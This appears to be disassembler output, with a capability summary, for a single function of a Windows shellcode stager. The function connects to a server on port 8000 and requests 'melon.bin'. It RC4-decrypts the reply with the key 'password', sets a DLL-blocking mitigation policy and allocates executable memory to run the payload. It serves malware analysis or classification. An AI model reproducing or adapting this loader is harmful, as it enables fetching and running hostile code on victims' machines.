Function at 0x1400011c0
Capabilities:
Allocate or change rwx memory
Connect socket
Initialize winsock library
Protect spawned processes with mitigation policies
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4d8]
sub rsp, 0x5b0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x490], rax
mov ecx, 0x202
lea rdx, [rbp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000123e
lea rdx, str.____Error_creating_socker
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b10
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001936
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140001266
lea rdx, str.____Error__creating_socket
jmp 0x140001218
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov word [rbp + 0xd8], bx
mov ecx, 0x1f40
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xda], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xd8]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400012b0
lea rdx, str.____Error_connecting_to_server
jmp 0x140001218
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xor r12d, r12d
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb0], r12
lea ecx, [r12 + 0x20]
call fcn.140002d40
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa8], 0x1b
mov qword [rbp + 0xb0], 0x1f
movups xmm0, xmmword [str.GET__melon.bin_HTTP_1.1_r_n_r_n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140004518]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140004520]
mov word [rax + 0x18], cx
movzx ecx, byte [0x140004522]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], r12b
lea rdx, str.___Sending_HTTP_request
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b10
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rdx, qword [rbp + 0x98]
xor r9d, r9d
mov r8d, dword [rbp + 0xa8]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r13d, r12d
mov qword [rbp + 0x90], r12
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x290]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400013e2
mov r9d, eax
lea r8, [rbp + 0x290]
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0x80]
call fcn.1400020a0
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x290]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400013a1
mov r13, qword [rbp + 0x90]
mov rdi, qword [rbp + 0x88]
mov rbx, rdi
mov r15, qword [rbp + 0x80]
sub rbx, r15
lea rdx, str.____Recieved
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b10
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._bytes
call fcn.140001b10
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
mov qword [rbp + 0xc8], r12
cmp rbx, 4
jl 0x140001597
lea r10, [rdi - 4]
mov r9, r15
lea rbx, str._r_n_r_n
lea r11, [0x140004564]
nop word [rax + rax]
mov rax, rbx
mov r8, r9
sub r8, rbx
nop dword [rax]
movzx edx, byte [r8 + rax]
movsx ecx, byte [rax]
cmp edx, ecx
jne 0x1400014fd
inc rax
cmp rax, r11
jne 0x140001480
cmp r9, rdi
je 0x140001597
xorps xmm0, xmm0
lea r12, [r9 + 4]
movdqu xmmword [rbp + 0x68], xmm0
xor esi, esi
mov qword [rbp + 0x78], rsi
sub rdi, r12
je 0x14000153c
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140001971
cmp rdi, 0x1000
jb 0x14000150e
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14000196b
call fcn.140002d40
test rax, rax
je 0x140001580
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001519
cmp r9, r10
je 0x140001597
inc r9
jmp 0x140001470
mov rcx, rdi
call fcn.140002d40
mov rbx, rax
mov qword [rbp + 0x68], rbx
lea rsi, [rbx + rdi]
mov qword [rbp + 0x78], rsi
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov qword [rbp + 0x70], rsi
jmp 0x140001544
mov r8, qword [rbp + 0x70]
mov rbx, qword [rbp + 0x68]
sub r8, rbx
mov rdx, rbx
lea rcx, [rbp + 0xb8]
call fcn.140001f20
nop
test rbx, rbx
je 0x140001592
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140001587
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001587
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rbx
call fcn.140002d7c
xor r12d, r12d
jmp 0x1400015ba
lea rdx, str.____Error_parsing_HTTP_request
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b10
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbx, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0xb8]
sub rbx, rdi
mov eax, r12d
lea rcx, [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
mov byte [rcx], al
inc eax
lea rcx, [rcx + 1]
cmp eax, 0x100
jl 0x1400015f0
xor dl, dl
mov r8d, r12d
lea r9, [rsp + 0x60]
lea r11, str.password
movzx r10d, byte [r9]
mov eax, r8d
and eax, 7
movsx ecx, byte [rax + r11]
movzx edx, dl
add edx, ecx
add edx, r10d
and edx, 0x800000ff
jge 0x140001639
dec edx
or edx, 0xffffff00
inc edx
movzx eax, dl
lea rcx, [rsp + 0x60]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9], al
mov byte [rcx], r10b
inc r8d
inc r9
cmp r8d, 0x100
jl 0x140001610
mov r9d, r12d
xor r11b, r11b
test ebx, ebx
jle 0x1400016ca
mov r10, rdi
mov ebx, ebx
nop dword [rax + rax]
inc r9d
and r9d, 0x800000ff
jge 0x140001689
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea r8, [rsp + 0x60]
add r8, rax
movzx edx, byte [r8]
add r11b, dl
movzx eax, r11b
lea rcx, [rsp + 0x60]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8], al
mov byte [rcx], dl
movzx ecx, byte [r8]
add rcx, rdx
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x60]
xor byte [r10], cl
inc r10
sub rbx, 1
jne 0x140001670
lea rdx, str.___Decrypted_data:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b10
mov rdx, rdi
mov rcx, rax
call fcn.140001b10
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
test rdi, rdi
jne 0x140001720
lea rdx, str.____Error_decrypting_data
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b10
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x68], xmm1
mov qword [rbp + 0x78], r12
xorps xmm6, xmm6
mov qword [rbp + 0x60], r12
lea r9, [rbp + 0x60]
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rbp + 0x60]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
lea r9, [rbp + 0x60]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
movabs rax, 0x100000000000
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xd0]
xor edx, edx
mov r8d, 0x20007
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
xor r8d, r8d
xor edx, edx
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov rsi, rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
movq rcx, xmm6
call fcn.140002880
mov ebx, eax
test eax, eax
jns 0x14000184a
lea rdx, str.____Could_not_modify_memory_protection
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b10
mov rcx, rax
lea rdx, [0x1400011a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ce0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
psrldq xmm6, 8
movq rcx, xmm6
call fcn.140002c80
xor edx, edx
movq rcx, xmm6
call fcn.140002780
nop
test rdi, rdi
je 0x1400018b4
mov rdx, qword [rbp + 0xc8]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400018ab
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140002d7c
nop
test r15, r15
je 0x1400018f0
sub r13, r15
mov rax, r15
cmp r13, 0x1000
jb 0x1400018e4
add r13, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r15
call fcn.140002d7c
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x140001934
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000192f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000192f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d7c
xor eax, eax
mov rcx, qword [rbp + 0x490]
xor rcx, rsp
call fcn.140002d20
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001100
nop
call fcn.140002080
int3